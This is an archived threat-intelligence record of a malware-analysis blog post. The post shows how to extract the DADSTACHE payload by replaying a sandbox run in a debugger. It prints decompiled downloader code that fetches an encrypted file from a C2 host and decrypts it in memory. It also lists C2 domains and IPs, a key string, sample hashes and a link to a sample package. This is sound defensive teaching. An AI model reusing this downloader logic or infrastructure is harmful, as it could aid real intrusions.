{
	"id": "2872c0d0-9715-4e7a-931e-1d9dcde9a61a",
	"created_at": "2026-04-06T00:07:54.926522Z",
	"updated_at": "2026-04-10T13:12:34.856292Z",
	"deleted_at": null,
	"sha1_hash": "2bc5375a2dd3553d12e8f051888f75cf3884f765",
	"title": "Knowledge Fragment: Casting Sandbox Necromancy on DADSTACHE",
	"llm_title": "",
	"authors": "",
	"file_creation_date": "0001-01-01T00:00:00Z",
	"file_modification_date": "0001-01-01T00:00:00Z",
	"file_size": 2052464,
	"plain_text": "Knowledge Fragment: Casting Sandbox Necromancy on\r\nDADSTACHE\r\nBy Daniel Plohmann\r\nPublished: 2020-07-10 · Archived: 2026-04-05 18:26:28 UTC\r\nI’m still thinking of a good way to revive this blog. One idea I had is to simply write about interesting encounters I\r\nhave while maintaining/extending the Malpedia corpus.\r\nI recently had one such encounter when working on a submission by Rony, about which mak also tweeted.\r\nAdditionally, Elastic already wrote a detailed blog post on this campaign.\r\nWhy this blog post then? Well, I think it’s worthwhile to focus a bit on the methodology side of things, especially\r\nas this concrete case allows to showcase a common workflow pattern that can be applied during analysis.\r\nGenerally, I feel that there are great beginner tutorials for malware analysis and RE but material for intermediate\r\nskill is not as widely available. Perhaps I should focus on that in the future? Let me know.\r\nFor today, as a basis, there is this great ANY.RUN capture for the given case, which we will dissect in this post!\r\nI’ll also provide all relevant data, so you can use this as a hands-on exercise/walkthrough.\r\nIn summary, we will briefly look at an attack using\r\na Word-based downloader pulling\r\nanother downloader (using DLL Search Order Hijacking) which then fetches\r\na payload that is only decrypted in memory.\r\nOur objective: We want to extract that final memory-only payload.\r\nFor this we will use Sandbox Necromancy!\r\nSandbox Necromancy?\r\nI’ve chosen the title “Sandbox Necromancy” to describe the following analysis workflow pattern:\r\nGiven a previous (automated) dynamic analysis and corresponding recordings (sandbox run, PCAP, memory\r\ndumps, …), a malware analyst wants to recreate a specific situation that existed during this dynamic analysis in\r\norder to do additional research, e.g. access volatile data.\r\nOver the years I have encountered several variations of this pattern, typically when writing malware\r\ntraffic/configuration decryptors or unpacking samples.\r\nSandbox Necromancy may become necessary in cases where the world changed since the recordings, for example\r\nbecause the respective C\u0026C server has disappeared or our IP address was blocked or it is generally geofenced and\r\nwe still want to continue to investigate. It can also be required when there is no VM snapshot from a previous\r\nhttps://danielplohmann.github.io/blog/2020/07/10/kf-sandbox-necromancy.html\r\nPage 1 of 13\n\ninvestigation available and we have to recreate a identical runtime situation from whatever data we have still\r\navailable.\r\nIn some cases it also allows us to repeat specific analysis steps decoupled from external dependencies, potentially\r\nspeeding up the analysis itself.\r\nvia GIPHY\r\nI’ll now explain how this applies to the concrete case.\r\nA wild DADSTACHE appears\r\nPlease spend a couple minutes reviewing the following ANY.RUN capture.\r\nDone? Good! :)\r\nYou may have assessed that:\r\nThe process tree lists 3 executables ( WINWORD.exe -\u003e cmd.exe -\u003e LogiMailApp.exe )\r\nThe network tabs list a lot of traffic from WINWORD.exe and LogiMailApp.exe but sadly it appears that\r\neverything is encrypted.\r\nA closer look at the behavior of WINWORD.exe reveals:\r\n6 network connections, pulling ~430kb of data\r\na few created files, among them LogiMailApp.exe and LogiMailApp.dll (adding up to 410kb,\r\ncorresponding to the downloads)\r\nA closer look at the behavior of cmd.exe reveals… not much at all, apart from being used to start\r\nLogiMailApp.exe .\r\nA closer look at the behavior of LogiMailApp.exe reveals\r\nan initial network check-in ( 104.248.148.156 (armybar.hopto.org) ), leading to a download of\r\n140kb of data\r\nhttps://danielplohmann.github.io/blog/2020/07/10/kf-sandbox-necromancy.html\r\nPage 2 of 13\n\na file Encrypted[1] of size 135kb potentially corresponding to that download\r\nmany more network check-ins ( 139.59.31.188 (tomema.myddns.me) ) to another IP address, starting\r\napproximately one minute after the first check-in.\r\nThis allows to theorize the secondary check-ins have something to do with the Encrypted[1] and what happens\r\nto it once it is downloaded and in-memory. However, there is no way to simply obtain this decrypted in-memory\r\ncode fragment, as it was not stored by sandbox.\r\nBecause the C\u0026C server of interest ( 104.248.148.156 (armybar.hopto.org) ) is dead by now, we can not simply\r\nperform a dynamic analysis / debugging session and walk through these steps as Encrypted[1] will never be\r\ndownloaded. Maybe we also do not want the threat actors to know that we are performing this analysis and want to\r\nperform no network interaction anyway. This is where our sandbox necromancy comes into play.\r\nLuckily, ANY.RUN allows us to collect all files needed to revive the execution state. They are also available on\r\nVirusTotal and potentially elsewhere:\r\nLogiMailApp.exe (optional)\r\nsha256: 93810c5fd9a287d85c182d2ad13e7d30f99df76e55bb40e5bc7a486d259810c8\r\nLogiMail.dll (sideloaded by LogiMailApp.exe - but can also be loaded directly in a debugger)\r\nsha256: 11508c1727134877dea18f30df2d2c659a112e632c3fb8e16ddad722727c775a\r\nEncrypted (our target)\r\nsha256: 06a4246be400ad0347e71b3c4ecd607edda59fbf873791d3772ce001f580c1d3\r\nIf you want to play along, I have packaged them here (password: infected ) for simplicity.\r\nI spare you the typical warnings about malware and just assume you know what you are doing when you ended up\r\nreading so far in. :)\r\nAnalysis of LogiMail.dll\r\nWe will now dive a bit deeper, first obtaining an overview using static analysis and then performing the actual\r\nnecromancy using a debugger.\r\nStatic Analysis\r\nLooking at LogiMail.dll , we quickly identify the function DllGetClassObject at offset 0x10002250 as\r\nrelevant because\r\nit makes use of WinAPI calls such as URLDownloadToFileA , ReadFile , and CryptDecrypt , which fits\r\nwhat we are looking for and\r\nit is also an exported function\r\nHere’s the control flow graph:\r\nhttps://danielplohmann.github.io/blog/2020/07/10/kf-sandbox-necromancy.html\r\nPage 3 of 13\n\nhttps://danielplohmann.github.io/blog/2020/07/10/kf-sandbox-necromancy.html\r\nPage 4 of 13\n\nThrough careful analysis we can learn the following:\r\n\"%TMP%\\\\~liseces1.pcs\" is being passed to ExpandEnvironmentStringsA , which replaces %TEMP% by the\r\nfull path. In case of our ANY.RUN trace, this would be\r\nC:\\Users\\admin\\AppData\\Local\\Temp\\~liseces1.pcs\r\na string HcRVJiZhrS2e0itoEyk/kaOz5fqCiLl4tr6CI4RlO5FWMRCgDA2dXXbaKMHm9Ffv is being passed to\r\nCryptStringBinaryA with flag 0x1 (meaning CRYPT_STRING_BASE64 ), which will then produce the\r\ncorresponding binary string\r\n( 1dc455262661ad2d9ed22b6813293f91a3b3e5fa8288b978b6be822384653b91563110a00c0d9d5d76da28c1e6f457ef )\r\nin pbBinary\r\nhttps://danielplohmann.github.io/blog/2020/07/10/kf-sandbox-necromancy.html\r\nPage 5 of 13\n\npbBinary is then decrypted using CryptDecrypt (with hKey being previously set up in sub_10002430\r\n-\u003e an AES128 key derived using the SHA256 hash of string 7PLGdUh0jc-1GoEl )\r\nthis decrypted string is then being passed to UrlDownloadToFileA , indicating it’s potentially a URL. As\r\ndownload destination, we can see the previously expanded path for ~liseces1.pcs being used\r\nif the download is successful, the file is read ( CreateFileA , GetFileSize , ReadFile ) and afterwards\r\ndeleted ( DeleteFileA )\r\nAnother call to CryptDecrypt is used on the file content now residing in memory.\r\nThe decrypted contents are being passed to sub_100012f0 - let’s assume for now this is for readying\r\nexecution of the in-memory payload.\r\nFor readability, here’s also HexRays’ decompilation output:\r\nHRESULT __stdcall DllGetClassObject(const IID *const rclsid, const IID *const riid, LPVOID *ppv)\r\n{\r\n HANDLE v3; // eax\r\n void *v4; // edi\r\n DWORD v5; // esi\r\n void *v6; // ebx\r\n CHAR Dst[260]; // [esp+Ch] [ebp-218h]\r\n BYTE pbBinary[260]; // [esp+110h] [ebp-114h]\r\n DWORD NumberOfBytesRead; // [esp+214h] [ebp-10h]\r\n int v11; // [esp+218h] [ebp-Ch]\r\nhttps://danielplohmann.github.io/blog/2020/07/10/kf-sandbox-necromancy.html\r\nPage 6 of 13\n\nDWORD cchString; // [esp+21Ch] [ebp-8h]\r\n DWORD pcbBinary; // [esp+220h] [ebp-4h]\r\n memset(Dst, 0, sizeof(Dst));\r\n cchString = strlen(pszString);\r\n memset(pbBinary, 0, sizeof(pbBinary));\r\n pcbBinary = 260;\r\n v11 = 0;\r\n ExpandEnvironmentStringsA(\"%TMP%\\\\~liseces1.pcs\", Dst, 0x104u);\r\n if ( CryptStringToBinaryA(pszString, cchString, 1u, pbBinary, \u0026pcbBinary, 0, 0) \u0026\u0026\r\n sub_10002430() )\r\n {\r\n if ( CryptDecrypt(hKey, 0, 1, 0, pbBinary, \u0026pcbBinary) )\r\n {\r\n sub_10002530();\r\n pbBinary[pcbBinary] = 0;\r\n sub_10001FB0(pszString, \"%s\", (const char *)pbBinary);\r\n while ( 1 )\r\n {\r\n if ( !URLDownloadToFileA(0, pszString, Dst, 0, 0) )\r\n {\r\n v3 = CreateFileA(Dst, 0x80000000, 1u, 0, 3u, 0, 0);\r\n v4 = v3;\r\n if ( v3 != (HANDLE)-1 )\r\n {\r\n v5 = GetFileSize(v3, 0);\r\n cchString = v5;\r\n v6 = malloc(v5);\r\n ReadFile(v4, v6, v5, \u0026NumberOfBytesRead, 0);\r\n CloseHandle(v4);\r\n DeleteFileA(Dst);\r\n if ( sub_10002430() )\r\n {\r\n if ( CryptDecrypt(hKey, 0, 1, 0, (BYTE *)v6, \u0026cchString) )\r\n sub_100012F0(\u0026v11);\r\n }\r\n sub_10002530();\r\n }\r\n }\r\n Sleep(0x3E8u);\r\n }\r\n }\r\n sub_10002530();\r\n }\r\n return 0;\r\n}\r\nhttps://danielplohmann.github.io/blog/2020/07/10/kf-sandbox-necromancy.html\r\nPage 7 of 13\n\nAlright, armed with this knowledge, we can now plan our ritual.\r\nDynamic Analysis\r\nGiven that we already have the involved files, we can simply craft the desired execution flow in the debugger. This\r\nwill let us ignore the cryptography details and work with a ~liseces1.pcs - which already magically appeared\r\nwithout the need of network access. We will only need LogiMail.dll and Encrypted for this.\r\nOur plan is to simply start up LogiMail.dll and step through DllGetClassObject . As all WinAPI calls except\r\nURLDownloadToFileA have no dependency, we should be able to work our way through them from the beginning\r\nof the function. We will then just skip the download and modify the arguments of CreateFileA to point wherever\r\nwe put the “downloaded” file. Once it is read into memory and decrypted, we simply dump the buffer to obtain our\r\ninitially stated goal: extraction of a payload, previously not found in the sandbox run.\r\nMy tool of choice here is a Win7 VM and OllyDbg.\r\nThe following screenshot shows the initial view after loading the DLL:\r\nWe see that Windows decided that 0x1c0000 was a good place to load LogiMail.dll and simply adjust all\r\noffsets to that. The function OllyDbg sets us initially to is DllEntryPoint . If we would simply redirect our\r\nexecution now to our target function DllGetClassObject , we might encounter problems, as execution has not\r\nbeen set up properly yet (stack cookie and heap initialization, …). So it does not hurt to simply step over until the\r\nhttps://danielplohmann.github.io/blog/2020/07/10/kf-sandbox-necromancy.html\r\nPage 8 of 13\n\nend of this function (return at 0x1c2eee ).\r\nThis is now also an exceptionally great time to create a first VM snapshot. :)\r\nWe are now ready to jump ( CTRL+G ) to DllGetClassObject at 0x1c2250 . In order to continue here, we simply\r\nset the first instruction as “New Origin” via the context menu\r\nWe are greeted with the strings and WinAPI calls identified during static analysis. As I said, we do not want to be\r\nbothered with the cryptography and download, so we can simply set a breakpoint on the call to\r\nURLDownloadToFileA ( 0x1c2362 ) and run:\r\nhttps://danielplohmann.github.io/blog/2020/07/10/kf-sandbox-necromancy.html\r\nPage 9 of 13\n\nNice! As a side-effect we now also get the download URL that we already knew from the ANY.RUN trace\r\n( https://armybar.hopto.org/Encrypted ). Note that the sandbox so far gave us only the server\r\n( armybar.hopto.org ) but not exact URL for this - while rightfully assuming so, we now additionally confirmed\r\nthat the file Encrypted found in the Temporary Internet Files is the actual ~liseces1.pcs to be used next for\r\ndecryption.\r\nAs strategized before, we will now not execute this API call but instead simply jump over it and proceed to the\r\nnext instruction test eax, eax . As we can see, it is expected that URLDownloadToFileA would return 0x0 in\r\norder to continue into the part of the function that loads the file. We can simply clear the EAX register by\r\nmanipulating its content. For convenience, we also don’t need to place our Encrypted file at the location for\r\nshown in the screenshot ( C:\\Users\\redacted\\AppData\\Local\\Temp\\~liseces1.pcs ) but we can simply put it in\r\nany other location of our choice and change the path in the dump. The results of these actions (proceed execuction,\r\nmodify file location) are shown in this screenshot:\r\nhttps://danielplohmann.github.io/blog/2020/07/10/kf-sandbox-necromancy.html\r\nPage 10 of 13\n\nOne thing is important to note here: As we had already pushed arguments for URLDownloadToFileA onto the stack\r\nbut did not execute the API call, this may have deranged the stack (by 5 DWORDs to be exact). This can be an\r\nissue when manipulating execution context in bigger debugging sessions. We avoid this, we could have set our\r\nbreakpoint to 0x1c2350 (before execution of the argument pushes) instead, or manually fixed ESP . For this\r\nsituation, this does not matter too much as we will not leave the context of this function and all relevant following\r\npointer are relative to EBP .\r\nContinuing our execution, we next need to know where the file contents will be stored in memory for decryption.\r\nFor this, we can execute until after the ReadFile API call, because we can reconstruct the location from the EBX\r\nregister:\r\nhttps://danielplohmann.github.io/blog/2020/07/10/kf-sandbox-necromancy.html\r\nPage 11 of 13\n\nYou can follow the mouse cursor and see EBX pointing to 0x2e6740 , with the contents shown in the dump tab in\r\nthe lower left corner. Our final steps are now continuing execution until after the CryptDecrypt and extracting the\r\ndecrypted payload:\r\nhttps://danielplohmann.github.io/blog/2020/07/10/kf-sandbox-necromancy.html\r\nPage 12 of 13\n\nExcellent, there is the iconic tell-tale sign of our successful payload extraction: an MZ header! Using the context\r\nmenu, we can dump the full section with the target payload. The only step left is ripping the executable from the\r\nsection, which I usually do with my favorite hex editor: 010Editor.\r\nThe resulting unpacked file has a size of 138.752 bytes and is the DADSTACHE payload we were longing for!\r\nAs this final payload is not available on VT as of now, I have also added it to the package mentioned earlier.\r\nunpacked (the result of the efforts described in here)\r\nsha256: f922913ed85e79d4a5eb804f23bde0888de86dc6f5521fde7ed607db212f1256\r\nSummary\r\nI hope this outline of “Sandbox Necromancy” and the walkthrough are helpful to some of you. It’s certainly a\r\ntechnique that is easily transferred to other situations and generally very useful.\r\nIf you want me to do more write-ups like this one, let me know. I typically struggle a bit when estimating if such\r\naspects of analysis are too trivial or worthwhile the effort of documenting. :)\r\nFor further reading, a similar extraction walkthrough for an earlier DADSTACHE sample was written by Asuna\r\nAmawaka.\r\nSource: https://danielplohmann.github.io/blog/2020/07/10/kf-sandbox-necromancy.html\r\nhttps://danielplohmann.github.io/blog/2020/07/10/kf-sandbox-necromancy.html\r\nPage 13 of 13\n\n  https://danielplohmann.github.io/blog/2020/07/10/kf-sandbox-necromancy.html     \nYou can follow the mouse cursor and see EBX pointing to 0x2e6740 , with the contents shown in the dump tab in\nthe lower left corner. Our final steps are now continuing execution until after the CryptDecrypt and extracting the\ndecrypted payload:       \n   Page 12 of 13",
	"extraction_quality": 1,
	"language": "EN",
	"sources": [
		"Malpedia"
	],
	"origins": [
		"web"
	],
	"references": [
		"https://danielplohmann.github.io/blog/2020/07/10/kf-sandbox-necromancy.html"
	],
	"report_names": [
		"kf-sandbox-necromancy.html"
	],
	"threat_actors": [],
	"ts_created_at": 1775434074,
	"ts_updated_at": 1775826754,
	"ts_creation_date": 0,
	"ts_modification_date": 0,
	"files": {
		"pdf": "https://archive.orkl.eu/2bc5375a2dd3553d12e8f051888f75cf3884f765.pdf",
		"text": "https://archive.orkl.eu/2bc5375a2dd3553d12e8f051888f75cf3884f765.txt",
		"img": "https://archive.orkl.eu/2bc5375a2dd3553d12e8f051888f75cf3884f765.jpg"
	}
}